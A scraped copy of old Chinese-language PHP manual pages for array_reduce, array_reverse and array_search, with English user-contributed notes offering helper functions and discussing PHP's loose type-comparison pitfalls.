1000000 elements: 0.18011983394623 sec. for array_rand,8.6690187454224E-05 sec. for fake_array_rand

<?php
function fake_array_rand ($array)
{
       $count = count ($array);
       # Help keep the number generator random :)
       $randval and usleep ("0.$randval");

       # Seed the random number generator
       # Generate a random number
       srand ((double) microtime() * 10000000);
       $randval = rand();

       # Use the random value to 'pick' an entry from the array
       # Count the number of times that the entry is picked
       ++$index[$randval % $count];

       return $array[$randval % $count];
}
?>
uvm at sun dot he dot net
10-Jul-2001 09:09
If you're just trying to draw a random subset of n elements from an array, it seems more effecient to do something like this:

<?php
function draw_rand_array($array,$draws)
{
       $lastIndex = count($array) - 1;
       $returnArr = array();
       while($draws > 1)
       {
               $rndIndex = rand(0,$lastIndex);
               array_push($returnArr,array_splice($array,$rndIndex,1));
               $draws--;
               $lastIndex--;
       }

       return $returnArr;
}
?>

No messing with indexes when you're done... you just have an array with the elements you're looking for in it.
add a note add a note

后退 | 起点 | 前进
array_push | 上一级 | array_reduce


array_reduce

(PHP 4 >= 4.0.5, PHP 5)

array_reduce -- 用回调函数迭代地将数组简化为单一的值

说明

mixed array_reduce ( array input, callback function [, int initial] )

array_reduce() 将回调函数 function 迭代地作用到 input 数组中的每一个单元中，从而将数组简化为单一的值。如果指定了可选参数 initial，该参数将被当成是数组中的第一个值来处理，或者如果数组为空的话就作为最终返回值。如果数组为空并且没有传递 initial 参数，array_reduce() 返回 NULL。

例子 1. array_reduce() 例子

<?php
function rsum($v, $w)
{
    $v += $w;
    return $v;
}

function rmul($v, $w)
{
    $v *= $w;
    return $v;
}

$a = array(1, 2, 3, 4, 5);
$x = array();
$b = array_reduce($a, "rsum");
$c = array_reduce($a, "rmul", 10);
$d = array_reduce($x, "rsum", 1);
?>

这将使 $b 的值为 15，$c 的值为 1200（= 10*1*2*3*4*5），以及 $d 的值为 1。

参见 array_filter()，array_map()，array_unique() 和 array_count_values()。

add a note add a note User Contributed Notes
marcel dot oehler at kubusmedia dot com
08-Feb-2006 11:26
I've just experienced some really strange behaviour of array_reduce in PHP 5.0.4:

$result = array( 0, 17, 0, 0, 33, 0, 0, 0, 0, 50);
$total = array_reduce( $result, "sumCalc", 0);

function sumCalc( $a, $b){
   return $a + $b;
}

and $total equals to 83!

I know, this could be done easier, but it should work nevertheless. Has anybody experienced something similar? I will avoid using array_reduce in the future...
Seanj.jcink.com
05-Jan-2006 10:23
The code posted below by bishop to count the characters of an array is simply... erm... well useless to me...

$array=Array("abc","de","f");
strlen(implode("",$array)); //6

works; and is much smaller. Probably much faster too.
ildar [DASH] sh [AT] mail [DOT] ru
30-Nov-2005 02:02
in rare cases when an array is a set of numeric values and result is one of sum or product of numbers the next examples may be useful

<?php

// sum of array items
echo eval('return ' . implode('+', $nums) . ';');

// product of array items
echo eval('return ' . implode('*', $nums) . ';');

?>

the reason of these codes is omitting of single used per script of callbacks
david dot tulloh at infaze dot com dot au
23-Jun-2005 04:18
The code supplied by cuntbubble is unfortunately incorrect.

Running it I got the output:
0<TR><TD><a href="page1.html">page1</a></td>
<TR><TD><a href="page2.html">page2</a></td>
<TR><TD><a href="page3.html">page3</a></td>
</table>

So php, not finding an integer, used int(0) to start the process.  I've tested to confirm this.
bishop
01-May-2004 11:19
Count the total number of characters in an array of strings:

<?php
$lines = array ('abc', 'd', 'ef');
$totalChars = array_reduce($lines, create_function('$v,$w','return $v + strlen($w);'), 0);
// $totalChars === 6
?>
tonicpeddler at aol dot com
02-Nov-2002 11:17
in response to php dot net at cuntbubble dot com

actually when you pass a value to a function that accepts a specific data type, php automatically evaluates that value as the data type expected
php dot net at cuntbubble dot com
18-Jan-2002 12:08
There is an error/misleading item in the documentation

[, int initial]

int is not constrained to an integer, it can be any data type (although I've not tested ALL data types)

and $v is the cumulative part, the current value of the reduction.

and I'll take the liberty to add another example, as used in my code

<?php
function reduceToTable($html, $p) {
   $html .= "<TR><TD><a href=\"$p.html\">$p</a></td>\n";
   return $html;
}

$list = Array("page1", "page2", "page3");

$tab = array_reduce($list, "reduceToTable", "<table>\n");
echo $tab . "</table>\n";
?>

hmm, getting stuff on one line sure is tricky, it get's wordwrapped on the char count in html so &gt; counts as 4 chars not one so by the time you've counted "< you've used up 8 chars
If it get's through moderation could someone please make it look ok :)
add a note add a note

后退 | 起点 | 前进
array_rand | 上一级 | array_reverse


array_reverse

(PHP 4, PHP 5)

array_reverse -- 返回一个单元顺序相反的数组

说明

array array_reverse ( array array [, bool preserve_keys] )

array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组，如果 preserve_keys 为 TRUE 则保留原来的键名。

例子 1. array_reverse() 例子

<?php
$input  = array("php", 4.0, array("green", "red"));
$result = array_reverse($input);
$result_keyed = array_reverse($input, TRUE);
?>

这将使 $result 和 $result_keyed 具有相同的单元，但是注意键名的区别。$result 和 $result_keyed 的打印输出显示分别为：

Array
(
    [0] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [2] => php
)
Array
(
    [2] => Array
        (
            [0] => green
            [1] => red
        )

    [1] => 4
    [0] => php
)

注: 第二个参数是 PHP 4.0.3 中新加的。

参见 array_flip()。

add a note add a note User Contributed Notes
me2resh at gmail dot com
04-Feb-2005 05:25
Here is my version of sorting multidimensional arrays with any key in it even if u want it alphapatically sorted by any key.

u can remove the strtolower part if you want to keep it case sensitive

function cmp($a, $b){
   return strcmp(strtolower($a["name"]), strtolower($b["name"]));
}
Michiel de Roo
09-Sep-2003 03:55
If you need to reverse an array by reference, you can use the following function.

<?
function &array_reverse_ref(&$a) {
   $r = array();
   for($i=0, $j=count($a); $i<count($a); $i++, $j--) {
       $r[$i] =& $a[$j-1];
   }
   return $r;
}
?>

Use it like:
<?
class t {
   var $message = "message";
}
for($i=0; $i<10; $i++) {
   $a[] = new t();
}

$ra =& array_reverse_ref($a);

$a[0]->message = "now... this works in both";
$ra[0]->message = "but.... does not work in both";

for($i=0; $i<10; $i++) {
   echo $ra[$i]->message; echo "<br>\n";
}
echo "<br>\n";
for($i=0; $i<10; $i++) {
   echo $a[$i]->message; echo "<br>\n";
}
?>
zee4speed at hotmail dot com
05-Jul-2003 01:56
another way to ->
If you want to reverse an array with numerical indexes, you can keep them by using following code:
<?
# this is your array, and you would like to reverse it however maintain their actual index values to point to the existings.
$array_to_reverse[0]="zee";
$array_to_reverse[1]="andrew";
$array_to_reverse[2]="pablo";
$array_to_reverse[3]="mike";
$array_to_reverse[4]="ahmed";
$array_to_reverse[5]="yousra";
$array_to_reverse[6]="samir";
# you want the array to look like this so you can use a command like for each to march through the array.
$array_reversed[6]="samir";
$array_reversed[5]="yousra";
$array_reversed[4]="ahmed";
$array_reversed[3]="mike";
$array_reversed[2]="pablo";
$array_reversed[1]="andrew";
$array_reversed[0]="zee";
# however if you use array_reverse you get this:
$array_reversed[0]="samir";
$array_reversed[1]="yousra";
$array_reversed[2]="ahmed";
$array_reversed[3]="mike";
$array_reversed[4]="pablo";
$array_reversed[5]="andrew";
$array_reversed[6]="zee";
# this causes element samir to be first instead of last, just like you want.  hoever, the index value that refferences samir is now 0 instead of 6
# solution to this is the following code

$array_reversed = array_reverse ($array_to_reverse);
$size_of_array = count($array_reversed);
for ($z = 0; $z < $size_of_array; $z++){
         #do what you want
         #if you want to get the index value of the un-reveresed array, simply
         $actual_index = GetActualIndex($z,$size_of_array);
         echo $z." on array_reversed is the same ".$actual_index." on array_to_reverse<BR>\n";
}

function GetActualIndex($current_index, $size_of_array){
         $reverse_location = abs($current_index + 1 - $size_of_array);
         return $reverse_location;
}
?>
m dot weber at luna-park dot de
31-Jan-2003 11:02
If you want to reverse an array with numerical indexes, you can keep them by using following code:

<?php
end($gruppenarr);
do {
  $part1=key($gruppenarr);
  $part2=current($gruppenarr);
  $gruppenarr2[$part1]=$part2;
} while(prev($gruppenarr));
?>

input is $gruppenarr
output is $gruppenarr2
nospam dot nass at btinternet dot com dot nospam
13-Jun-2001 09:08
For a similar functionality in PHP3, use something like:

for ($i = count ($foo) - 1 ; $i >= 0; $i-- ) {

do something here

}

... where $foo is the array that you want to reverse.
rahulavhad at yahoo dot com
30-Dec-2000 12:31
This code can help in recursive reversing of the array...

<?php
$arr1 = array(2,1,array(5,2,1,array(9,8,7)),5,0);
$arr1 = array_reverse($arr1);

function Reverse_Array($array)
{    $index = 0;
   foreach ($array as $subarray)
   {    if (is_array($subarray))
       {    $subarray = array_reverse($subarray);
           $arr = Reverse_Array($subarray);
           $array[$index] = $arr;
       }
       else {$array[$index] = $subarray;}
       $index++;
   }
   return $array;
}

$arr2 = Reverse_Array($arr1);
?>
david at audiogalaxy dot com
04-Mar-2000 05:39
As a further clarification: key-value pairs have an order within an array completely separate from whatever the keys happen to be - the order in which you add them.  This is the order that functions like each() and next() will move their pointer through the array.
If you add to an array without specifying the key, like $array[] = value; then an internal counter supplies the key value and then the numerical order of your keys will be identical to the the internal order.  If you "leave holes" - jumping ahead by specifying a higher number for the key, like $array[1000] = value; the internal counter gets pushed forward appropriately.  Other than its effect on this internal counter, specifying a numerical key seems no different than specifying a string.
However, some array functions, like array_merge() and array_reverse() treat keys that are numbers differently from keys that are not.
david at audiogalaxy dot com
04-Mar-2000 04:40
With associative arrays array_reverse() keeps key => value pairs matched but reverses the order of the array as spaned by functions like each().  With numerical indexes array_reverse not only reverses position (as spaned by each) but also renumbers the keys.
Both cases seem to be what people would generally want: indeed without the renumbering behavior, someone refering to array elements by numerical key wouldn't think array_reverse did anything.
However, people who are trying to keep numerical keys associated with their values - e.g. trying to have holes in their arrays - will be foiled by the renumbering.  The most telling results come from applying array_reverse() to arrays with mixed keys (some numbers and some strings).  The strings stay attached and the rest of the keys get renumbered around them - most annoying if you are thinking what you've got is an associative array but some of your keys happen to be numbers.
add a note add a note

后退 | 起点 | 前进
array_reduce | 上一级 | array_search


array_search

(PHP 4 >= 4.0.5, PHP 5)

array_search -- 在数组中搜索给定的值，如果成功则返回相应的键名

说明

mixed array_search ( mixed needle, array haystack [, bool strict] )

在 haystack 中搜索 needle 参数并在找到的情况下返回键名，否则返回 FALSE。

注: 如果 needle 是字符串，则比较以区分大小写的方式进行。

注: 在 PHP 4.2.0 之前，array_search() 在失败时返回 NULL 而不是 FALSE。

如果可选的第三个参数 strict 为 TRUE，则 array_search() 还将在 haystack 中检查 needle 的类型。

如果 needle 在 haystack 中出现不止一次，则返回第一个匹配的键。要返回所有匹配值的键，应该用 array_keys() 加上可选参数 search_value 来代替。

例子 1. array_search() 例子

<?php
$array = array(0 => 'blue', 1 => 'red', 2 => 'green', 3 => 'red');

$key = array_search('green', $array); // $key = 2;
$key = array_search('red', $array);   // $key = 1;
?>

警告

本函数可能返回布尔值 FALSE，但也可能返回一个与 FALSE 等值的非布尔值，例如 0 或者 ""。请参阅布尔类型章节以获取更多信息。应使用 === 运算符来测试本函数的返回值。

参见 array_keys()，array_values()，array_key_exists() 和 in_array()。

add a note add a note User Contributed Notes
gullevek at gullevek dot org
19-Apr-2006 01:31
There were two previous entries for having a recursive search. The first one only searched for values, second one for values with an optional key.

But both of those stopped after they found an entry. I needed, that it searches recursive, with optional key and returns me all matches found in the array.

So I wrote this function:

needle is the value you search, haystack is the array of course, key is the optional key in the array where the needle should be. path should be never set on intial call. its an internal used variable.

It returns an array $path with the array entry 'found' where you can find all found groups. In these groups you have the array which holds the keys to find the data.

I hope this helps some of you.

<?php
   function array_search_recursive_all($needle, $haystack, $key, $path = NULL)
   {
       if (!$path['level'])
           $path['level'] = 0;
       if (!$path['work'])
           $path['work'] = array();
       if (!is_array($haystack))
           $haystack = array();

       // go through the array,
       foreach ($haystack as $_key => $_value)
       {
           // only value matches
           if (is_scalar($_value) && $_value == $needle && !$key)
           {
               $path['work'][$path['level']] = $_key;
               $path['found'][] = $path['work'];
           }
           // key and value matches
           elseif (is_scalar($_value) && $_value == $needle && $_key == $key)
           {
               $path['work'][$path['level']] = $_key;
               $path['found'][] = $path['work'];
           }
           elseif (is_array($_value))
           {
               // add position to working
               $path['work'][$path['level']] = $_key;
               // we will up a level
               $path['level'] += 1;
               // call recursive
               $path = array_search_recursive_all($needle, $_value, $key, $path);
           }
       }
       // cut all that is >= level
       array_splice($path['work'], $path['level']);
       // step back a level
       $path['level'] -= 1;
       return $path;
   }
?>

If you call it with this:

<?
   $right_side = array ('foo' => 'alpha', 'bar' => 'beta', 'delta' => 'gamma', 'gamma' => 'delta');
   $value = 'beta';
   $key = 'bar';
   $pos = array_search_recursive_all($value, $right_side, $key);
?>

You will find in $pos this data

<?
Array
(
   [level] => -1
   [work] => Array
       (
       )

   [found] => Array
       (
           [0] => Array
               (
                   [0] => bar
               )

       )

)
?>
RichGC
20-Mar-2006 09:54
To expand on previous comments, here are some examples of
where using array_search within an IF statement can go
wrong when you want to use the array key thats returned.

Take the following two arrays you wish to search:

<?php
$fruit_array = array("apple", "pear", "orange");
$fruit_array = array("a" => "apple", "b" => "pear", "c" => "orange");

if ($i = array_search("apple", $fruit_array))
//PROBLEM: the first array returns a key of 0 and IF treats it as FALSE

if (is_numeric($i = array_search("apple", $fruit_array)))
//PROBLEM: works on numeric keys of the first array but fails on the second

if ($i = is_numeric(array_search("apple", $fruit_array)))
//PROBLEM: using the above in the wrong order causes $i to always equal 1

if ($i = array_search("apple", $fruit_array) !== FALSE)
//PROBLEM: explicit with no extra brackets causes $i to always equal 1

if (($i = array_search("apple", $fruit_array)) !== FALSE)
//YES: works on both arrays returning their keys
?>
congaz at yahoo dot dk
10-Mar-2006 11:38
Search a multi-dimensional array on keys!
-------------------------------------------

I needed to search dynamically in a multi-dimen array on keys. I came up with this little neat function. It is so amazingly simple, that I actually didn't think it would work - but it does...

mixed array_searchMultiOnKeys(array, array);

<?php
function array_searchMultiOnKeys($multiArray, $searchKeysArray) {
   // Iterate through searchKeys, making $multiArray smaller and smaller.
   foreach ($searchKeysArray as $keySearch) {
       $multiArray = $multiArray[$keySearch];
       $result = $multiArray;
   }

   // Check $result.
   if (is_array($multiArray)) {
       // An array was found at the end of the search. Return true.
       $result = true;
   }
   else if ($result == '') {
       // There was nothing found at the end of the search. Return false.
       $result = false;
   }

   return $result;
// End of function,
}

// --- Test array_searchMultiOnKeys ---
$multiArray['webpages']['downloads']['music'] = 1;
$multiArray['webpages']['downloads']['pressmaterial'] = 5;
$multiArray['webpages']['links'] = 7;

array_searchMultiOnKeys($multiArray, array('webpages', 'links')); // returns 7.
array_searchMultiOnKeys($multiArray, array('webpages', 'downloads')); // returns true.
array_searchMultiOnKeys($multiArray, array('webpages', 'downloads', 'software')); // returns false.

?>

$multiArray / $searchKeysArray can be any size.

Happy hacking...
chappy at citromail dot hu
11-Feb-2006 04:26
If you're searching for strings and you need a case-insensetive script, there's one:

function array_lsearch($str,$array){
   $found=array();
   foreach($array as $k=>$v){
       if(strtolower($v)==strtolower($str)){
           $found[]=$v;
       }
   }
   $f=count($found);
   if($f===0)return false;elseif($f===1)return $found[0];else return $found;
}

It returns the original string, not the lower. Also good if use strtoupper().
hansen{}cointel.de
09-Feb-2006 10:26
may be good to take note of PHP's mind-boggling 'fuzzy' (vulgo "magic type-casting") comparison features not only in using the results, but also in the search, too:
<?php
$a=array("a","b",0,"c","d");
echo "a: ".array_search("a",$a);
echo "b: ".array_search("b",$a);
echo "c: ".array_search("c",$a);
echo "d: ".array_search("d",$a);
echo "0: ".array_search("0",$a);
echo "x: ".array_search("x",$a);
echo "1: ".array_search("1",$a);
?>
will result in:
a: 0, b: 1, c: 2, d: 2, 0: 2, x: 2, 1: false

as from "c" on, the first match found in $a is "0", as any string compared to an int is automatically cast to (int)0.
ludvig dot ericson at gmail dot com
09-Feb-2006 04:18
In response to the post beneath,
<?php

if ($userID = array_search($whatever, $array) !== false) {
}

?>

will also work, since it will be tested for explicitly NOT being a boolean false afterwards.
chrisAdams at 407x dot com
26-Jan-2006 05:32
This has been noted but took me a while to figure out: When the array that you are searching starts with position '0' array_search returns '0' for a match - evaluating as FALSE:

$usernameArray[0]='moe';
$usernameArray[1]='larry';
$usernameArray[2]='curly';

$username='moe';

// broken
if ($userNameArrayPosition=array_search($username, $usernameArray))
{ // even though the expression is true, will eval as false
echo 'userNameArrayPosition -'.$userNameArrayPosition;
}else{
echo 'evaluates false - userNameArrayPosition = -'.$userNameArrayPosition;
}
// will echo 'evaluates false - userNameArrayPosition = - 0'

// works
if (is_numeric($userNameArrayPosition=array_search($username, $usernameArray))
{ // will be true for all numeric values, but not bool. false
echo 'userNameArrayPosition -'.$userNameArrayPosition;
}else{
echo 'evaluates false - userNameArrayPosition = -'.$userNameArrayPosition;
}
// will echo 'userNameArrayPosition  - 0'

$username='homer';
if (is_numeric($userNameArrayPosition=array_search($username, $usernameArray))
{ // will be true for all numeric values, but not bool. false
echo 'userNameArrayPosition -'.$userNameArrayPosition;
}else{
echo 'evaluates false - userNameArrayPosition = -'.$userNameArrayPosition;
}
// will echo 'evaluates false - userNameArrayPosition =  - FALSE'
chrisAdams at 407x dot com
26-Jan-2006 04:53
This has been noted but took me a while to figure out: When the array that you are searching starts with position '0' array_search returns '0' for a match - evaluating as FALSE:

$usernameArray[0]='moe';
$usernameArray[1]='larry';
$usernameArray[2]='curly';

$username='moe';

// broken
if ($userNameArrayPosition=array_search($username, $usernameArray))
{ // even though the expression is true, will eval as false
echo 'userNameArrayPosition -'.$userNameArrayPosition;
}else{
echo 'evaluates false - userNameArrayPosition = -'.$userNameArrayPosition;
}
// will echo 'evaluates false - userNameArrayPosition = - 0'

// works
if (is_numeric($userNameArrayPosition=array_search($username, $usernameArray)==TRUE)
{ // will be true for all numeric values, but not bool. false
echo 'userNameArrayPosition -'.$userNameArrayPosition;
}else{
echo 'evaluates false - userNameArrayPosition = -'.$userNameArrayPosition;
}
// will echo 'userNameArrayPosition  - 0'

$username='homer';
if (is_numeric($userNameArrayPosition=array_search($username, $usernameArray)==TRUE)
{ // will be true for all numeric values, but not bool. false
echo 'userNameArrayPosition -'.$userNameArrayPosition;
}else{
echo 'evaluates false - userNameArrayPosition = -'.$userNameArrayPosition;
}
// will echo 'evaluates false - userNameArrayPosition =  - FALSE'
chernyshevsky at hotmail dot com
08-Jan-2006 09:53
array_search() in PHP 5 supports objects as needles whereas PHP 4 doesn't. The documentation should be updated to reflect this.
ludwig_von_rocht at yahoo dot com
24-Nov-2005 07:50
Here's a little function I wrote to find the key of the LAST occurrance of something in an array.

<?php
if(!function_exists('array_rsearch')){
   function array_rsearch($search, $array, $strict = false){
       $array = array_reverse($array, true);
       foreach($array as $key => $value){
           if($strict){
               if($value === $search)
                   return $key;
           } else {
               if(strpos($value, $search))
                   return $key;
           }
       }
       return false;
   }
}
?>
mark meves
23-Nov-2005 07:13
A quick-and-dirty array_search_all() that i used for a small
dup-checking routine.

there are many, many ways to do something like this, not
the worst of which would be to use a relational database
for a dataset any larger than this ;)

-mark meves

<?php
/**
@return array of zero or more keys form $aHaystack whose
   values match $mScalarNeedle using a
   '==', (ie not strict) comparison
*/
function array_search_all($mScalarNeedle,$aHaystack){
   return array_keys( array_filter($aHaystack,
       create_function('$v','return $v == \''.addslashes($mScalarNeedle).'\';')
   ));
}

/*
test it:
*/
$aNicknames = array('jimmy'=>1,'james'=>1,'jim'=>1,
                   'billy'=>2,'william'=>2,'bill'=>2);
foreach(array('jim','bill') as $sName){
   echo "variations for \"$sName\" :(".
       implode(', ', array_search_all($aNicknames[$sName],$aNicknames)).
   ")\n";
}
/* outputs:
variations for "jim" are (jimmy, james, jim)
variations for "bill" are (billy, william, bill)
*/
?>
johnjc-phpdocs at publicinfo dot net
02-Nov-2005 02:37
The === and !== are not fully documented in either the Comparison Operator, Booleans type sections. They are talked about a bit more in the sections on strpos() and array_search() but those sections refer you to the section on Booleans for further information.

I am putting my contribution on === and !== in the Booleans section with pointers to it from the comment areas of other sections.

http://uk.php.net/manual/en/language.types.boolean.php
hakkierulez at nospamas dot hotmail dot nospam dot com
26-Oct-2005 09:36
If you simply want check if the search string is found, do this: (since the array number 0 evaluates as FALSE)

<?php
if (array_search($needle, $array)!== FALSE) {
   //code goes here (
}
?>
arborrow at jesuits dot net
26-Sep-2005 04:26
I stumbled across some unexpected behavior with the array_search function. With a little help from the DallasPHPUsersGroup, I was able to trace it down to an array that I had attempted to start with a zero. The zero must be enclosed on single quote marks for the search function to work.  Below are various syntaxes used to demonstrate the behavior. I hope this helps someone figure out why array_search is not working. Peace - Anthony

<?php

echo "<html><body>Let's try to search these arrays.<br><br>";

$findthis = "Assignments";

// syntax 1

$arcat1[] = 0; //comment out this line to test
//$arcat1[] = '0'; //uncomment this line to test
$arcat1[] = "Tests";
$arcat1[] = $findthis;
$arcat1[] = "Quizzes";
$arcat1[] = "Participation";
$arcat1[] = 0;

// the following search will not return the key if $arcat[] = 0;
// it will return the if $arcat[] = '0'; interestingly enough it will also work if $arcat = 1;
$keyresult = array_search ($findthis, $arcat1);
print_r($arcat1);
echo "<br>Arcat1 Key:".$keyresult."<br><br>";

//syntax 2

$arcat2 = array(0=>0, 1=>"Tests", 2=>"Quizzes", 3=>"Participation", 4=>"Assignments"); //comment out this line to test
//$arcat2 = array(0=>'0', 1=>"Tests", 2=>"Quizzes", 3=>"Participation", 4=>"Assignments"); //uncomment this line to test

// the following search will not return the key if $arcat2 = array(0=>0 ...);
// it will return the key if $arcat2 = array(0=>'0' ...);
$keyresult = array_search($findthis, $arcat2);
print_r($arcat2);
echo "<br>Arcat2 Key: ".$keyresult."<br><br>";

//syntax 3

$arcat3 = array(0);  //comment out this line to test
//$arcat3 = array('0'); //uncomment this line to test
array_push($arcat3, $findthis);
array_push($arcat3, "Tests");
array_push($arcat3, "Participation");
array_push($arcat3, "Quizzes");

// the following search will not return the key if $arcat3 = array(0);
// it will return the key if $arcat3 = array('0'); interestingly enough it will also work if $arcat3 = array(1);
$keyresult = array_search($findthis, $arcat3);
print_r($arcat3);
echo "<br>Arcat3 Key: ".$keyresult."<br><br>";

?>
ludvig dot ericson at gmail dot com
07-Sep-2005 03:08
To the reply below,

note that you can compare an array with another array using == and ===
05-Aug-2005 08:57
If you give a delimiter (or "glue") to implode() this because a little more robust.

To use previous example with slight modification:

$array2search = array("pat","ter","n");
$string = implode('|', $array2search); // now "pat|ter|n"

if (strpos($string, "pattern" ) !== false) {
   // wont get here
}

Now, obviously if you search for strpos($string, "pat|ter|n"), you're going to have problems again... But using a delimiter like this should help avoid most if not all "unforseen" cases.
benoit at bh-services (dot) com
19-Jun-2005 02:44
In answer to "info" at jake the spud dot com

This code doesn't work in all cases and may have unexpected results.
For example, it you have this code:

$array2search = array("pat","ter", "n");

if( strpos( implode( "", $array2search), "pattern" ) > -1 )
{
   // You will be there ... but "pattern" does not exist in the array ...
   // something is wrong !
}

There is no real solution using this code even if you try to enclose your elements by a special char ... because the special char could be part of the pattern.

If it works for you, it won't work in all cases.

/benoit
"info" at jake the spud dot com
03-Jun-2005 01:31
If you don't need the power of recursive functions, and you want to just search within an array for the existence of a string pattern, you can always try this:

if( strpos( implode( "", $array2search), "pattern" ) > -1 )
{
   // code to execute here
}

It's kind of lame and childish, but gets the job done in a pinch.

Forgive me if someone else suggested this previously. I was racking my brain trying to do this using array_search(), in_array() and the like, and all I wanted was something dead simple.
kmkz [AT] kmkz [DOT] com
07-May-2005 10:46
I always wanted an array_replace function that could search and replace within an array, so I made one (its kinda simple and a bit inefficient, but c'est la vie):

<?php

function array_replace($search, $replace, &$array) {

  foreach($array as $key => $value) {

   if($value == $search) {

     $array[$key] = $replace;

   }

  }

}

?>
vlad dot gladin at 102mg dot ro
06-Apr-2005 06:33
I found this useful especially for parsing htmls from
$file=file("http://a.website.com/htmlpage.html");

function array_search_extended($file,$str_search)
{
foreach($file as $line)
{
       if (strpos($line, $str_search)!== FALSE)
       {
             return $line;
       }
}
return false;
}
hanafi at pixella dot com
21-Jan-2005 08:37
If you want to search in a multi-dimensional array and just a portion, not the whole value, try this.

<?
$Projects[0] = array(123, "Text 1");
$Projects[1] = array(456, "Text 2");
$Projects[2] = array(789, "Text 3");

$search_value = "ext 2";

foreach ($Projects as $key => $row)
 {
     foreach($row as $cell)
     {
       if (strpos($cell, $search_value) !== FALSE)
       {
       echo  "<p>".$key;
       }
     }
 }

?>
Swoog DOT News A@T LaPoste DOT NET_DELME
18-Jan-2005 12:48
[[Excuse me but the return line of the precedent fuction had an error :( :( :( ]]

Just For Say I Had Reworked the function Object_Search in Object_Search_All :

<?php
function object_search_all(&$needle, &$haystack, $strict=false) {
   $results = array();
   if(!is_array($haystack)) return NULL;
   foreach($haystack as $k => $v) {
       if(($strict && $needle===$v) || (!$strict && $needle==$v)) $results[] = $k;
   }
 return $results == array() ? false : $results;
}
?>

it's return _NULL_ if $haystack isn't an array;
it's retrun _false_ if there is no $needle in haystack

it work also with not numerics array (thanks to a _foreach_ )

Be Happy ;) ! :D
Bye !
Swoog DOT News A@T LaPoste DOT NET_DELME
18-Jan-2005 12:29
for "voituk on asg dot kiev dot ua" :

no need to do :

(get_class($needle)==get_class($haystack[$i])) && ($needle==$haystack[$i])

for type sensible searches, Because, in PHP, two objects are equals if and only if they have same class and all of their attributes are the same (values).

But Because of the untyping of PHP, same attributes can be == but not === so, to avoid problems with type sensible searches, do :

$needle===$haystack[$i]

Is Better ! ;)
stew at initiative dot uk dot com(stewart boutcher)
05-Jan-2005 11:54
Not to labour the point too much, but here's another, slightly less verbose multi dimensional recursive function...

function array_key_exists_recursive($needle,$haystack) {

foreach($haystack as $key=>$val) {
   if(is_array($val)) { if(array_key_exists_recursive($needle,$val)) return 1; }
   elseif($val == $needle) return 1;
  }
  return 0;
}
pornsak at neowin dot net
21-Nov-2004 11:28
This is a modified version of Mark Meves's wonderful function. I needed something that would be able to let me force search the key name where the needle should be found.

<?php
function array_search_recursive($needle, $haystack, $key_lookin="") {

$path = NULL;

   if (!empty($key_lookin) && array_key_exists($key_lookin, $haystack) && $needle === $haystack[$key_lookin]) {
   $path[] = $key_lookin;

   } else {

       foreach($haystack as $key => $val) {
           if (is_scalar($val) && $val === $needle && empty($key_lookin)) {
           $path[] = $key;
           break;
           }

           elseif (is_array($val) && $path = array_search_recursive($needle, $val, $key_lookin)) {
           array_unshift($path, $key);
           break;
           }
       }
   }

return $path;
}
?>
scripts at webfire dot org
04-Nov-2004 01:13
* Multi-Dimensional Array Search *
If you're searching for a function to search in Multi-Arrays,
this is probably usefull for you.
-------------------------------------------------------------

<?php
function multi_array_search($search_value, $the_array)
{
   if (is_array($the_array))
   {
       foreach ($the_array as $key => $value)
       {
           $result = multi_array_search($search_value, $value);
           if (is_array($result))
           {
               $return = $result;
               array_unshift($return, $key);
               return $return;
           }
           elseif ($result == true)
           {
               $return[] = $key;
               return $return;
           }
       }
       return false;
   }
   else
   {
       if ($search_value == $the_array)
       {
           return true;
       }
       else return false;
   }
}
?>

-------------------------------------------------------------
It will return an Array with the keys from the original array
where your search-string was found or false. e.g.:
-------------------------------------------------------------

<?php
$foo[1]['a']['xx'] = 'bar 1';
$foo[1]['b']['xx'] = 'bar 2';
$foo[2]['a']['bb'] = 'bar 3';
$foo[2]['a']['yy'] = 'bar 4';
$foo['info'][1] = 'bar 5';

$result = multi_array_search('bar 3', $foo);
print_r($result);
?>

-------------------------------------------------------------

Output:

Array
(
     [0] => 2
     [1] => a
     [2] => bb
)

-------------------------------------------------------------

I hope you like it ;)
greetz Udo
Flix Cloutier <felixcca at yahoo dot ca>
22-Oct-2004 08:01
There is no function to count the occurences of needle in haystack, so I made my own one...

<?php
function array_match($needle, $haystack)
{
   if( !is_array($haystack) ) return false;

   $i = 0;
   while( (in_array( $needle, $haystack )) != FALSE )
   {
       $i++;
       $haystack[array_search($needle, $haystack)] = md5($needle);
       reset($haystack);
   }

   return $i;
}
?>

I know it's a bit crappy, but don't ask me too much, I'm still only 13... ;)
voituk on asg dot kiev dot ua
29-Sep-2004 08:04
There is no way to use this function to search an object in the array.
I want to suggest my own function for this problem solve
<?php
/** $Id$
* Searches the array for a given object and returns the corresponding key if successful or FALSE otherwise
*/
function object_search($needle, $haystack, $strict=false) {
 if (!is_array($haystack)) return false;
 for ($i=0; $i<count($haystack); ++$i) {
   if ($strict) {
   // STRICT
   if ((get_class($needle)==get_class($haystack[$i])) && ($needle==$haystack[$i])) return $i;
   } else {
   // NO STRICT
   if ($needle==$haystack[$i]) return $i;
   }
 }
 return false;
}// function object_search
?>
leaetherstrip ATNOSPAM inbox DOT ru
28-Sep-2004 09:07
For get dennis dot decoene 's binary_search working on arrays with 1 or 2 elements, just replace
<?php
   while ($high - $low > 1){
?>

with

<?
   while ($high - $low >= 1){
?>
Wouter van Vliet <me at woutervanvliet dot nl>
19-Aug-2004 11:55
I was looking for a way to use a user defined function for array_search and eventually came up writing my own. Which was remarkably simple :P. Let me share this:

<?php
function array_usearch($cb, $ndl, $hs, $strict=false) {
   if (!is_array($hs)) user_error('Third argument to array_usearch is expected to be an array, '.gettype($hs).' given', E_USER_ERROR);
   foreach($hs as $key=>$value) if (call_user_func_array($cb, Array($ndl, $value, $key, $strict))) return $key;
};
?>

I'm not sure if I'm following correct conventions to specify the callback as the first argument, but it seemed most logical to me to not interrupt the order of the other four arguments (mixed needle, array haystack, boole strict).

[so far for my first post to the php notes]
andrey at php dot net
08-Aug-2004 07:56
array_search() has kind of hidden behaviour which comes from the way PHP compares values of different types (PHP is a type-loose language) - so called type juggling.
for example :
<?php
$a=array(0,0,5,0,0);
var_dump(array_search(true, $a));
?>
In the array there are only integers but we give a boolean value TRUE for be the needle. The result is that array_search() returns the first non-negative value in the haystack array. The same way if we pass FALSE it will return the first value that compared with FALSE gives TRUE - for example NULL
<?php
$a=array(1,NULL,5,0,0);
var_dump(array_search(FALSE, $a));
?>
Returns:
int(1)  <-- the key of the NULL value
